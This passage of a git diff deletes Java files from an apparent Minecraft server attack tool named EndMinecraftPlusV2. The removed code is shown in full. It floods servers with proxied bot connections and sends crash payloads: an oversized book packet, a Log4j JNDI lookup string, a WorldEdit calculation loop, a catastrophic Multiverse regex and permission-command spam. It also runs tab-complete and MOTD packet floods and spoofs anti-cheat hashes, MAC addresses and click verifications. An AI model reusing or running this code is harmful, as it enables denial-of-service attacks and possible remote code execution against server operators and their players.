positionRotationPacket.getY() + OtherUtils.getRandomInt(2, 8), positionRotationPacket.getZ() + OtherUtils.getRandomInt(-10, 10), OtherUtils.getRandomFloat(0.00, 1.00), OtherUtils.getRandomFloat(0.00, 1.00)); - OtherUtils.doSleep(500); - MultiVersionPacket.sendPosPacket(c, positionRotationPacket.getX(), positionRotationPacket.getY(), positionRotationPacket.getZ(), OtherUtils.getRandomFloat(0.00, 1.00), OtherUtils.getRandomFloat(0.00, 1.00)); - } else { - OtherUtils.doSleep(1000); - } - } - }).start(); - } - - if (ConfigUtil.ServerCrasher && !c.hasFlag("crasher")) { - new Thread(() -> { - c.setFlag("crasher", true); - - LogUtil.doLog(0, "[" + clientName.get(c) + "] 开始发送Crash Packet...", "ServerCrasher"); - - switch (ConfigUtil.ServerCrasherMode) { - case 1: - if (MCForge.getProtocolVersion() == 47) { - while (c.isConnected()) { - try { - ItemStack crashBook = getCrashBook(); - - ByteArrayOutputStream buf = new ByteArrayOutputStream(); - StreamNetOutput out = new StreamNetOutput(buf); - - out.writeShort(crashBook.getId()); - out.writeByte(crashBook.getAmount()); - out.writeShort(crashBook.getData()); - - NBTIO.writeTag(new DataOutputStream(buf), crashBook.getNBT()); - - byte[] crashData = buf.toByteArray(); - - c.send(new ClientPluginMessagePacket("MC|BEdit", crashData)); - c.send(new ClientPluginMessagePacket("MC|BSign", crashData)); - - OtherUtils.doSleep(ConfigUtil.ServerCrasherPacketDelay); - } catch (Exception ignored) {} - } - } else { - LogUtil.doLog(0, "Book Crash仅适用于1.8.X版本。", "ServerCrasher"); - } - break; - case 2: - String log4jExploit = "${jndi:ldap://192.168.${RandomUtils.nextInt(1,253)}.${RandomUtils.nextInt(1,253)}}"; - c.send(new ClientChatPacket(log4jExploit)); - break; - case 3: - String worldEdit = "//calc for(i=0;i<256;i++){for(a=0;a<256;a++){for(b=0;b<256;b++){for(c=0;c<255;c++){}}}}"; - c.send(new ClientChatPacket(worldEdit)); - break; - case 4: - String multiverseCore = "/mv ^(.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.++)$^"; - c.send(new ClientChatPacket(multiverseCore)); - break; - case 5: - String pex_1 = "/pex promote a a"; - String pex_2 = "/pex demote a a"; - while (c.isConnected()) { - c.send(new ClientChatPacket(new Random().nextBoolean() ? pex_1:pex_2)); - OtherUtils.doSleep(2000); - } - break; - default: - LogUtil.doLog(1, "ServerCrasher Mode设置有误,请检查配置文件。", null); - break; - } - }).start(); - } - - if (ConfigUtil.TabAttack && !c.hasFlag("tabAttack")) { - c.setFlag("tabAttack", true); - - new Thread(() -> { - while (c.isConnected()) { - MultiVersionPacket.sendTabPacket(c, "/"); - OtherUtils.doSleep(100); - } - }).start(); - } - } else { - if (ConfigUtil.RegisterAndLogin) { - try { - for (String cmd:ConfigUtil.RegisterCommands) { - OtherUtils.doSleep(ConfigUtil.ChatDelay); - c.send(new ClientChatPacket(cmd.replace("$pwd",DataUtil.botRegPasswordsMap.get(clientName.get(c))))); - } - - LogUtil.doLog(0, "[" + clientName.get(c) + "] 注册信息已发送。", "BotAttack"); - - c.setFlag("login", true); - } catch (Exception ignored) {} - } else { - c.setFlag("login", true); - } - } - } else { - alivePlayers.remove(c); - } - } - - OtherUtils.doSleep(1000); - } - }); - - this.starttime = System.currentTimeMillis(); - - mainThread = new Thread(() -> { - while (true) { - try { - createClients(ip, port); - - if (this.attack_time > 0 && (System.currentTimeMillis() - this.starttime) / 1000 > this.attack_time) { - for (Client c : clients) { - c.getSession().disconnect(""); - } - - stop(); - return; - } - - OtherUtils.doSleep(ConfigUtil.ConnectTimeout); - LogUtil.doLog(0, "当前连接数: " + clients.size() + "个", "BotAttack"); - cleanClients(); - } catch (Exception e) { - LogUtil.doLog(1, "发生错误: " + e, null); - } - } - }); - - mainThread.start(); - if (taskThread != null) { - taskThread.start(); - } - } - - @SuppressWarnings("deprecation") - public void stop() { - mainThread.stop(); - if (taskThread != null) { - taskThread.stop(); - } - } - - public void setTask(Runnable task) { - taskThread = new Thread(task); - } - - private void cleanClients() { - for (Client client:clients) { - if (!client.getSession().isConnected()) { - positionPacket.remove(client.getSession()); - alivePlayers.remove(client.getSession()); - clientName.remove(client.getSession()); - clients.remove(client); - } else { - if (!alivePlayers.contains(client.getSession()) && (client.getSession().hasFlag("login") || client.getSession().hasFlag("join"))) { - alivePlayers.add(client.getSession()); - } - } - } - } - - private void createClients(final String ip, int port) { - Proxy.Type proxyType; - switch (ConfigUtil.ProxyType) { - case 3: - case 2: - proxyType = Proxy.Type.SOCKS; - break; - case 1: - default: - proxyType = Proxy.Type.HTTP; - break; - } - - while (clients.size() <= this.attack_maxconnect) { - for (String p: ProxyUtil.proxies) { - try { - if (!EndMinecraftPlusV2.isLinux) { - SetTitle.INSTANCE.SetConsoleTitleA("EndMinecraftPlusV2 - BotAttack | 当前连接数: " + clients.size() + "个 | 失败次数: " + failed + "次 | 成功加入: " + joinedPlayers.size() + "次 | 当前存活: " + alivePlayers.size() + "个 | 点击验证: " + clickVerifies + "次 | 重进尝试: " + rejoin); - } - - String[] _p = p.split(":"); - Proxy proxy = new Proxy(proxyType, new InetSocketAddress(_p[0], Integer.parseInt(_p[1]))); - String[] User = AttackManager.getRandomUser().split("@"); - Client client = createClient(ip, port, User[0], proxy); - client.getSession().setReadTimeout(Math.toIntExact(ConfigUtil.ConnectTimeout)); - client.getSession().setWriteTimeout(Math.toIntExact(ConfigUtil.ConnectTimeout)); - clientName.put(client.getSession(), User[0]); - clients.add(client); - - pool.submit(() -> { - if (this.attack_motdbefore) { - getMotd(proxy, ip, port); - } - - client.getSession().connect(false); - }); - - if (this.attack_joinsleep > 0) { - OtherUtils.doSleep(attack_joinsleep); - } - } catch (Exception e) { - LogUtil.doLog(1, "发生错误: " + e, null); - } - } - } - } - - public Client createClient(final String ip, int port, final String username, Proxy proxy) { - Client client = new Client(ip, port, new MinecraftProtocol(username), new TcpSessionFactory(proxy)); - if (ConfigUtil.ForgeSupport) { - modList.putAll(ConfigUtil.ForgeModList); - new MCForge(client.getSession(), modList).init(); - } - - client.getSession().addListener(new SessionListener() { - public void packetReceived(PacketReceivedEvent e) { - new Thread(() -> { - try { - handlePacket(e.getSession(), e.getPacket(), username); - } catch (IOException ex) { - throw new RuntimeException(ex); - } - }).start(); - } - - public void packetSent(PacketSentEvent e) { - } - - public void connected(ConnectedEvent e) { - if (ConfigUtil.SaveWorkingProxy) { - ProxyUtil.saveWorkingProxy(proxy); - } - } - - public void disconnecting(DisconnectingEvent e) { - } - - public void disconnected(DisconnectedEvent e) { - new Thread(() -> { - String msg; - - if (e.getCause() == null) { - msg = e.getReason(); - LogUtil.doLog(0,"[假人断开连接] [" + username + "] " + msg, "BotAttack"); - - for (String rejoinDetect:ConfigUtil.RejoinDetect) { - if (rejoinPlayers.contains(username)) { - break; - } - - if (msg.contains(rejoinDetect)) { - rejoinPlayers.add(username); - - for (int i = 0; i < ConfigUtil.RejoinCount; i++) { - OtherUtils.doSleep(ConfigUtil.RejoinDelay); - - Client rejoinClient = createClient(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, username, proxy); - rejoinClient.getSession().setReadTimeout(Math.toIntExact(ConfigUtil.ConnectTimeout)); - rejoinClient.getSession().setWriteTimeout(Math.toIntExact(ConfigUtil.ConnectTimeout)); - - rejoin++; - LogUtil.doLog(0,"[假人尝试重连] [" + username + "] [" + proxy + "]", "BotAttack"); - clientName.put(rejoinClient.getSession(), username); - clients.add(rejoinClient); - rejoinClient.getSession().connect(false); - - if (rejoinClient.getSession().hasFlag("join") || rejoinClient.getSession().hasFlag("login")) { - rejoinPlayers.remove(username); - break; - } - } - - rejoinPlayers.remove(username); - - break; - } - } - } else if (ConfigUtil.ShowFails) { - LogUtil.doLog(0,"[假人断开连接] [" + username + "] " + e.getCause(), "BotAttack"); - } - - failed++; - alivePlayers.remove(client.getSession()); - }).start(); - } - }); - - return client; - } - - public void getMotd(Proxy proxy, String ip, int port) { - try { - Socket socket = new Socket(proxy); - socket.connect(new InetSocketAddress(ip, port)); - - if (socket.isConnected()) { - OutputStream out = socket.getOutputStream(); - out.write(new byte[]{0x07, 0x00, 0x05, 0x01, 0x30, 0x63, (byte) 0xDD, 0x01}); - out.write(new byte[]{0x01, 0x00}); - out.flush(); - } - - socket.close(); - } catch (Exception ignored) {} - } - - protected void handlePacket(Session session, Packet recvPacket, String username) throws IOException { - if (recvPacket instanceof ServerPluginMessagePacket) { - ServerPluginMessagePacket packet = (ServerPluginMessagePacket) recvPacket; - - switch (packet.getChannel()) { - case "AntiCheat3.4.3": - String code = ac3.uncompress(packet.getData()); - byte[] checkData = ac3.getCheckData("AntiCheat3.jar", code, - new String[]{"44f6bc86a41fa0555784c255e3174260"}); - session.send(new ClientPluginMessagePacket("AntiCheat3.4.3", checkData)); - break; - case "anotherstaranticheat": - String salt = asac.decodeSPacket(packet.getData()); - byte[] data = asac.encodeCPacket(new String[]{"4863f8708f0c24517bb5d108d45f3e15"}, salt); - session.send(new ClientPluginMessagePacket("anotherstaranticheat", data)); - break; - case "VexView": - if (new String(packet.getData()).equals("GET:Verification")) - session.send(new ClientPluginMessagePacket("VexView", "Verification:1.8.10".getBytes())); - break; - case "MAC|Check": - if (ConfigUtil.RandomMAC) { - byte[] MACAddress; - - ByteArrayOutputStream buf = new ByteArrayOutputStream(); - StreamNetOutput out = new StreamNetOutput(buf); - - for (int i = 0; i < 6 ; i++) { - byte[] bytes = new byte[1]; - new Random().nextBytes(bytes); - try { - out.writeByte(bytes[0]); - } catch (IOException e) { - throw new RuntimeException(e); - } - } - - MACAddress = buf.toByteArray(); - LogUtil.doLog(0, "[" + username + "] 已发送随机MACAddress数据。(" + Arrays.toString(MACAddress) + ")", "MACCheck"); - session.send(new ClientPluginMessagePacket(packet.getChannel(), MACAddress)); - } - break; - case "CatAntiCheat": - case "catanticheat:data": - if (ConfigUtil.CatAntiCheat) { - CatAntiCheat.packetHandle(session, packet.getChannel(), packet.getData(), username); - } - break; - default: - } - } else if (recvPacket instanceof ServerJoinGamePacket) { - session.setFlag("join", true); - LogUtil.doLog(0, "[假人加入服务器] [" + username + "]", "BotAttack"); - - joinedPlayers.add(session); - - if (!alivePlayers.contains(session)) { - alivePlayers.add(session); - } - - MultiVersionPacket.sendClientSettingPacket(session, "zh_CN"); - MultiVersionPacket.sendClientPlayerChangeHeldItemPacket(session, 1); - } else if (recvPacket instanceof ServerPlayerPositionRotationPacket) { - try { - ServerPlayerPositionRotationPacket packet = (ServerPlayerPositionRotationPacket) recvPacket; - MultiVersionPacket.sendPosPacket(session, packet.getX(), packet.getY(), packet.getZ(), packet.getYaw(), packet.getYaw()); - session.send(new ClientPlayerMovementPacket(true)); - MultiVersionPacket.sendClientTeleportConfirmPacket(session, packet); - - if (!positionPacket.containsKey(session)) { - positionPacket.put(session, packet); - } - } catch (Exception ignored) {} - } else if (recvPacket instanceof ServerChatPacket) { - ServerChatPacket chatPacket = (ServerChatPacket) recvPacket; - Message message = chatPacket.getMessage(); - - clickVerifiesHandle(message, session, username); - - if (!joinedPlayers.contains(session)) { - joinedPlayers.add(session); - } - - if (ConfigUtil.ShowServerMessages && !message.getFullText().equals("")) { - LogUtil.doLog(0, "[服务端返回信息] [" + username + "] " + message.getFullText(), "BotAttack"); - } - } else if (recvPacket instanceof ServerKeepAlivePacket) { - if (MCForge.getProtocolVersion() >= 107) { - VersionSupport107.sendKeepAlivePacket(session, (ServerKeepAlivePacket) recvPacket); - } else { - ClientKeepAlivePacket keepAlivePacket = new ClientKeepAlivePacket(((ServerKeepAlivePacket) recvPacket).getPingId()); - session.send(keepAlivePacket); - } - - // LogUtil.doLog(0, "[" + username + "] 已发送KeepAlive数据包。", "BotAttack"); - - if (!joinedPlayers.contains(session)) { - joinedPlayers.add(session); - } - - if (!alivePlayers.contains(session)) { - alivePlayers.add(session); - } - } else if (recvPacket.getClass().getSimpleName().equals("ServerPlayerHealthPacket")) { - if (recvPacket instanceof ServerPlayerHealthPacket && ((ServerPlayerHealthPacket) recvPacket).getHealth() <= 0) { - VersionSupport107.sendRespawnPacket(session); - - LogUtil.doLog(0, "[" + username + "] " + "假人于服务器中死亡,已重生。", "BotAttack"); - } - } else if (recvPacket.getClass().getSimpleName().equals("ServerUpdateHealthPacket")) { - if (((ServerUpdateHealthPacket) recvPacket).getHealth() <= 0) { - ClientRequestPacket clientRequestPacket = new ClientRequestPacket(ClientRequest.RESPAWN); - session.send(clientRequestPacket); - LogUtil.doLog(0, "[" + username + "] " + "假人于服务器中死亡,已重生。", "BotAttack"); - } - } - } - - public static void clickVerifiesHandle(Message message, Session session, String username) { - boolean needClick = false; - - if (message.getStyle().getClickEvent() != null) { - for (String clickVerifiesDetect:ConfigUtil.ClickVerifiesDetect) { - if (message.getText().contains(clickVerifiesDetect)) { - needClick = true; - break; - } - } - } - - if (needClick) { - LogUtil.doLog(0, "[服务端返回验证信息] [" + username + "] " + message.getStyle().getClickEvent().getValue(), "BotAttack"); - session.send(new ClientChatPacket(message.getStyle().getClickEvent().getValue())); - clickVerifies++; - } - - if (message.getExtra() != null && !message.getExtra().isEmpty()) { - for (Message extraMessage:message.getExtra()) { - clickVerifiesHandle(extraMessage, session, username); - } - } - } - - public static ItemStack getCrashBook() { - ItemStack crashBook; - CompoundTag nbtTag = new CompoundTag("crashBook"); - List pageList = new ArrayList<>(); - - // Plain Mode - nbtTag.put(new StringTag("author", OtherUtils.getRandomString(20, 20))); - nbtTag.put(new StringTag("title", OtherUtils.getRandomString(20, 20))); - - for (int a = 0; a < 35; a++) { - pageList.add(new StringTag("", OtherUtils.getRandomString(600, 600))); - } - - nbtTag.put(new ListTag("pages", pageList)); - crashBook = new ItemStack(386, 1, 0, nbtTag); - - return crashBook; - } -} diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/AttackUtils/DoubleAttack.java b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/AttackUtils/DoubleAttack.java deleted file mode 100644 index 664cf1f..0000000 --- a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/AttackUtils/DoubleAttack.java +++ /dev/null @@ -1,43 +0,0 @@ -package cn.serendipityr.EndMinecraftPlusV2.VersionControl.OldVersion.AttackUtils; - -import cn.serendipityr.EndMinecraftPlusV2.EndMinecraftPlusV2; -import cn.serendipityr.EndMinecraftPlusV2.Tools.SetTitle; -import org.spacehq.mc.protocol.packet.ingame.server.ServerJoinGamePacket; -import org.spacehq.packetlib.Client; -import org.spacehq.packetlib.Session; -import org.spacehq.packetlib.packet.Packet; - -import java.io.IOException; -import java.net.Proxy; - -public class DoubleAttack extends BotAttack { - private String username; - private Integer totalTimes = 0; - private Integer runTimes = 0; - - public DoubleAttack(String ip, int port, int time, int maxconnect, long joinsleep) { - super(ip, port, time, maxconnect, joinsleep); - } - - public void setUsername(String username) { - this.username = username; - } - - public Client createClient(String ip, int port, String username, Proxy proxy) { - totalTimes++; - return super.createClient(ip, port, this.username, proxy); - } - - protected void handlePacket(Session session, Packet recvPacket, String username) throws IOException { - super.handlePacket(session, recvPacket, username); - if (recvPacket instanceof ServerJoinGamePacket) { - session.disconnect("Double Exploit - Connection Reset!"); - - runTimes++; - - if (!EndMinecraftPlusV2.isLinux) { - SetTitle.INSTANCE.SetConsoleTitleA("EndMinecraftPlusV2 - DoubleAttack | 总连接数: " + totalTimes + "次 | 尝试分身: " + runTimes + "次"); - } - } - } -} \ No newline at end of file diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/AttackUtils/IAttack.java b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/AttackUtils/IAttack.java deleted file mode 100644 index a16f51b..0000000 --- a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/AttackUtils/IAttack.java +++ /dev/null @@ -1,22 +0,0 @@ -package cn.serendipityr.EndMinecraftPlusV2.VersionControl.OldVersion.AttackUtils; - -public abstract class IAttack { - public String ip; - public int port; - - public int attack_time; - public int attack_maxconnect; - public long attack_joinsleep; - - public IAttack(String ip, int port, int time, int maxconnect, long joinsleep) { - this.ip = ip; - this.port = port; - this.attack_time = time; - this.attack_maxconnect = maxconnect; - this.attack_joinsleep = joinsleep; - } - - public abstract void start(); - - public abstract void stop(); -} diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/AttackUtils/MotdAttack.java b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/AttackUtils/MotdAttack.java deleted file mode 100644 index fc90a03..0000000 --- a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/AttackUtils/MotdAttack.java +++ /dev/null @@ -1,102 +0,0 @@ -package cn.serendipityr.EndMinecraftPlusV2.VersionControl.OldVersion.AttackUtils; - -import cn.serendipityr.EndMinecraftPlusV2.EndMinecraftPlusV2; -import cn.serendipityr.EndMinecraftPlusV2.Tools.ConfigUtil; -import cn.serendipityr.EndMinecraftPlusV2.Tools.LogUtil; -import cn.serendipityr.EndMinecraftPlusV2.Tools.OtherUtils; -import cn.serendipityr.EndMinecraftPlusV2.Tools.SetTitle; - -import java.io.InputStream; -import java.io.OutputStream; -import java.net.InetSocketAddress; -import java.net.Socket; -import java.util.ArrayList; -import java.util.List; - -public class MotdAttack extends IAttack { - public List threads = new ArrayList<>(); - public long starttime; - private int runTimes = 0; - private int successTimes = 0; - private int errorTimes = 0; - public MotdAttack(String ip, int port, int time, int maxconnect, long joinsleep) { - super(ip, port, time, maxconnect, joinsleep); - } - - public void start() { - starttime = System.currentTimeMillis(); - - if (this.attack_maxconnect < 1) { - this.attack_maxconnect = 10; - } - - while (true) { - if (!EndMinecraftPlusV2.isLinux) { - SetTitle.INSTANCE.SetConsoleTitleA("EndMinecraftPlusV2 - MotdAttack | 当前连接数: " + threads.size() + "个 | 发包次数: " + runTimes + "次 | 有效包数: " + successTimes + "次 | 错误次数: " + errorTimes); - } - - if (this.attack_time > 0 && (System.currentTimeMillis() - this.starttime) / 1000 > this.attack_time) { - stop(); - return; - } - - if (this.attack_maxconnect > 0 && (threads.size() > this.attack_maxconnect)) { - continue; - } - - runTimes++; - - Thread task = new Thread(() -> { - try { - Socket socket = new Socket(); - socket.connect(new InetSocketAddress(ip, port)); - - while (socket.isConnected() && !socket.isClosed()) { - OutputStream out = socket.getOutputStream(); - InputStream in = socket.getInputStream(); - out.write(new byte[] { 0x07, 0x00, 0x05, 0x01, 0x30, 0x63, (byte) 0xDD, 0x01 }); - out.flush(); - out.write(new byte[] { 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, - 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00 }); - out.flush(); - - byte[] buffer = new byte[12800]; - if (in.read(buffer) != -1) { - LogUtil.doLog(0, "成功发送了Motd更新数据包。", "MotdAttack#" + Thread.currentThread().getName()); - successTimes++; - } - - socket.close(); - } - - OtherUtils.doSleep(attack_joinsleep); - } catch (Throwable e) { - if (ConfigUtil.ShowFails) { - LogUtil.doLog(0, "发生错误: " + e, "MotdAttack#" + Thread.currentThread().getName()); - } - errorTimes++; - } - }); - - threads.add(task); - task.setName(String.valueOf(runTimes)); - task.start(); - - new Thread(() -> { - OtherUtils.doSleep(ConfigUtil.ConnectTimeout); - - if (task.isAlive()) { - task.stop(); - } - - threads.remove(task); - }).start(); - } - } - - @SuppressWarnings("deprecation") - public void stop() { - threads.forEach(Thread::stop); - } - -} diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/AttackUtils/MotdAttackP.java b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/AttackUtils/MotdAttackP.java deleted file mode 100644 index c99bfe6..0000000 --- a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/AttackUtils/MotdAttackP.java +++ /dev/null @@ -1,122 +0,0 @@ -package cn.serendipityr.EndMinecraftPlusV2.VersionControl.OldVersion.AttackUtils; - -import cn.serendipityr.EndMinecraftPlusV2.EndMinecraftPlusV2; -import cn.serendipityr.EndMinecraftPlusV2.Tools.*; -import org.spacehq.packetlib.Client; - -import java.io.IOException; -import java.io.InputStream; -import java.io.OutputStream; -import java.net.InetSocketAddress; -import java.net.Proxy; -import java.net.Socket; -import java.util.ArrayList; -import java.util.List; - -public class MotdAttackP extends IAttack { - public List threads = new ArrayList<>(); - public long starttime; - private int runTimes = 0; - private int successTimes = 0; - private int errorTimes = 0; - - public MotdAttackP(String ip, int port, int time, int maxconnect, long joinsleep) { - super(ip, port, time, maxconnect, joinsleep); - } - - public void start() { - starttime = System.currentTimeMillis(); - - Proxy.Type proxyType; - switch (ConfigUtil.ProxyType) { - case 3: - case 2: - proxyType = Proxy.Type.SOCKS; - break; - case 1: - default: - proxyType = Proxy.Type.HTTP; - break; - } - - while (true) { - for (String p: ProxyUtil.proxies) { - if (this.attack_maxconnect > 0 && (threads.size() > this.attack_maxconnect)) { - continue; - } - - if (this.attack_time > 0 && (System.currentTimeMillis() - this.starttime) / 1000 > this.attack_time) { - stop(); - return; - } - - try { - String[] _p = p.split(":"); - Proxy proxy = new Proxy(proxyType, new InetSocketAddress(_p[0], Integer.parseInt(_p[1]))); - Thread thread = createThread(proxy, ip, port); - thread.start(); - thread.setName(String.valueOf(runTimes)); - threads.add(thread); - - new Thread(() -> { - OtherUtils.doSleep(ConfigUtil.ConnectTimeout); - if (thread.isAlive()) { - thread.stop(); - } - threads.remove(thread); - }).start(); - } catch (Exception e) { - LogUtil.doLog(1,"发生错误: " + e, null); - } - } - } - } - - @SuppressWarnings("deprecation") - public void stop() { - threads.forEach(Thread::stop); - } - - public Thread createThread(Proxy proxy, String ip, int port) { - if (!EndMinecraftPlusV2.isLinux) { - SetTitle.INSTANCE.SetConsoleTitleA("EndMinecraftPlusV2 - MotdAttack | 当前连接数: " + threads.size() + "个 | 发包次数: " + runTimes + "次 | 有效包数: " + successTimes + "次 | 错误次数: " + errorTimes); - } - runTimes++; - Runnable task = () -> { - try { - Socket socket = new Socket(proxy); - socket.connect(new InetSocketAddress(ip, port)); - - while (socket.isConnected() && !socket.isClosed()) { - OutputStream out = socket.getOutputStream(); - InputStream in = socket.getInputStream(); - out.write(new byte[] { 0x07, 0x00, 0x05, 0x01, 0x30, 0x63, (byte) 0xDD, 0x01 }); - out.flush(); - out.write(new byte[] { 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, - 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00 }); - out.flush(); - - byte[] buffer = new byte[12800]; - if (in.read(buffer) != -1) { - LogUtil.doLog(0, "成功发送了Motd更新数据包。", "MotdAttack#" + Thread.currentThread().getName()); - successTimes++; - if (ConfigUtil.SaveWorkingProxy) { - ProxyUtil.saveWorkingProxy(proxy); - } - } - - socket.close(); - } - - OtherUtils.doSleep(attack_joinsleep); - } catch (Throwable e) { - if (ConfigUtil.ShowFails) { - LogUtil.doLog(0, "发生错误: " + e, "MotdAttackP#" + Thread.currentThread().getName()); - } - errorTimes++; - } - }; - - return new Thread(task); - } -} diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/AttackUtils/MultiVersionPacket.java b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/AttackUtils/MultiVersionPacket.java deleted file mode 100644 index 69343d8..0000000 --- a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/AttackUtils/MultiVersionPacket.java +++ /dev/null @@ -1,94 +0,0 @@ -package cn.serendipityr.EndMinecraftPlusV2.VersionControl.OldVersion.AttackUtils; - -import org.spacehq.mc.protocol.packet.ingame.client.ClientSettingsPacket; -import org.spacehq.mc.protocol.packet.ingame.client.ClientTabCompletePacket; -import org.spacehq.mc.protocol.packet.ingame.client.player.ClientPlayerPositionRotationPacket; -import org.spacehq.mc.protocol.packet.ingame.server.entity.player.ServerPlayerPositionRotationPacket; -import org.spacehq.packetlib.Session; -import org.spacehq.packetlib.packet.Packet; - -import java.lang.reflect.Array; -import java.lang.reflect.Constructor; -import java.lang.reflect.Field; - -public class MultiVersionPacket { - public static void sendTabPacket(Session session, String text) { - try { - Class cls = ClientTabCompletePacket.class; - Constructor constructor = cls.getDeclaredConstructor(); - constructor.setAccessible(true); - ClientTabCompletePacket packet = (ClientTabCompletePacket) constructor.newInstance(); - Field field = cls.getDeclaredField("text"); - field.setAccessible(true); - field.set(packet, text); - session.send(packet); - } catch (Exception ignored) {} - } - - public static void sendPosPacket(Session session, double x, double y, double z, float yaw, float pitch) { - try { - Class cls = ClientPlayerPositionRotationPacket.class; - Constructor constructor; - ClientPlayerPositionRotationPacket packet; - try { - constructor = cls.getConstructor(boolean.class, double.class, double.class, double.class, float.class, float.class); - packet = (ClientPlayerPositionRotationPacket) constructor.newInstance(true, x, y, z, yaw, pitch); - } catch (NoSuchMethodException ex) { - constructor = cls.getConstructor(boolean.class, double.class, double.class, double.class, double.class, float.class, float.class); - packet = (ClientPlayerPositionRotationPacket) constructor.newInstance(true, x, y - 1.62, y , z, yaw, pitch); - } - session.send(packet); - } catch (Exception ignored) {} - } - - public static void sendClientSettingPacket(Session session, String locale) { - try { - Class cls = ClientSettingsPacket.class; - Constructor constructor; - ClientSettingsPacket packet; - try { - Class parm1Class = Class.forName("org.spacehq.mc.protocol.data.game.setting.ChatVisibility"); - Class parm2Class = Class.forName("org.spacehq.mc.protocol.data.game.setting.SkinPart;"); - Class parm3Class = Class.forName("org.spacehq.mc.protocol.data.game.entity.player.Hand"); - - Class skinClass = Class.forName("org.spacehq.mc.protocol.data.game.setting.SkinPart"); - Object[] arrSkin = (Object[]) Array.newInstance(skinClass, 1); - Array.set(arrSkin, 0, skinClass.getEnumConstants()[0]); - - constructor = cls.getConstructor(String.class, int.class, parm1Class, boolean.class, parm2Class, parm3Class); - packet = (ClientSettingsPacket) constructor.newInstance(locale, 10, parm1Class.getEnumConstants()[0], true, arrSkin, parm3Class.getEnumConstants()[0]); - } catch (NoSuchMethodException ex) { - Class parm1Class = Class.forName("org.spacehq.mc.protocol.packet.ingame.client.ClientSettingsPacket.ChatVisibility"); - Class parm2Class = Class.forName("org.spacehq.mc.protocol.packet.ingame.client.ClientSettingsPacket.Difficulty"); - - constructor = cls.getConstructor(String.class, int.class, parm1Class, boolean.class, parm2Class, boolean.class); - packet = (ClientSettingsPacket) constructor.newInstance(locale, 10, parm1Class.getEnumConstants()[0], true, parm2Class.getEnumConstants()[0], true); - } - session.send(packet); - } catch (Exception ignored) {} - } - - public static void sendClientPlayerChangeHeldItemPacket(Session session, int slot) { - try { - Class cls = Class.forName("org.spacehq.mc.protocol.packet.ingame.client.player.ClientPlayerChangeHeldItemPacket"); - Constructor constructor = cls.getConstructor(int.class); - Packet packet = (Packet) constructor.newInstance(slot); - session.send(packet); - } catch (Exception ignored) {} - } - - public static void sendClientTeleportConfirmPacket(Session session, int id) { - try { - Class cls = Class.forName("org.spacehq.mc.protocol.packet.ingame.client.world.ClientTeleportConfirmPacket"); - Constructor constructor = cls.getConstructor(int.class); - Packet packet = (Packet) constructor.newInstance(id); - session.send(packet); - } catch (Exception ignored) {} - } - - public static void sendClientTeleportConfirmPacket(Session session, ServerPlayerPositionRotationPacket packet) { - try { - sendClientTeleportConfirmPacket(session, (int) ServerPlayerPositionRotationPacket.class.getMethod("getTeleportId").invoke(packet)); - } catch (Exception ignored) {} - } -} diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/CatAntiCheat/CatAntiCheat.java b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/CatAntiCheat/CatAntiCheat.java deleted file mode 100644 index cdd4c35..0000000 --- a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/CatAntiCheat/CatAntiCheat.java +++ /dev/null @@ -1,215 +0,0 @@ -package cn.serendipityr.EndMinecraftPlusV2.VersionControl.OldVersion.CatAntiCheat; - -import cn.serendipityr.EndMinecraftPlusV2.Tools.ConfigUtil; -import cn.serendipityr.EndMinecraftPlusV2.Tools.LogUtil; -import org.spacehq.mc.protocol.packet.ingame.client.ClientPluginMessagePacket; -import org.spacehq.packetlib.Session; -import org.spacehq.packetlib.io.stream.StreamNetOutput; - -import javax.imageio.ImageIO; -import java.awt.image.BufferedImage; -import java.io.*; -import java.math.BigInteger; -import java.nio.charset.StandardCharsets; -import java.nio.file.Files; -import java.security.MessageDigest; -import java.security.NoSuchAlgorithmException; -import java.util.*; -import java.util.zip.GZIPOutputStream; - -public class CatAntiCheat { - public static HashMap saltMap = new HashMap<>(); - - public static void packetHandle(Session session, String channel, byte[] data, String username) throws IOException { - ByteArrayOutputStream buf = new ByteArrayOutputStream(); - StreamNetOutput out = new StreamNetOutput(buf); - byte receivedPacketID = data[0]; - - byte sendPacketID; - byte clientVersion; - - switch (receivedPacketID) { - case 0: - // Hello packet reply - byte salt = data[1]; - saltMap.put(session, salt); - sendPacketID = 4; - clientVersion = 2; - - out.writeBytes(new byte[]{sendPacketID, 0, clientVersion, salt}); - - // LogUtil.doLog(0,"发送PluginMessage: " + "CatAntiCheat" + " | " + Arrays.toString(buf.toByteArray()), "CatAntiCheat"); - session.send(new ClientPluginMessagePacket("CatAntiCheat", buf.toByteArray())); - break; - case 1: - // File Check packet reply - sendPacketID = 5; - - File loadedFiles = ConfigUtil.CACLoadedMods; - List fileHashList = getFileHashList(loadedFiles); - - ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); - - try { - GZIPOutputStream 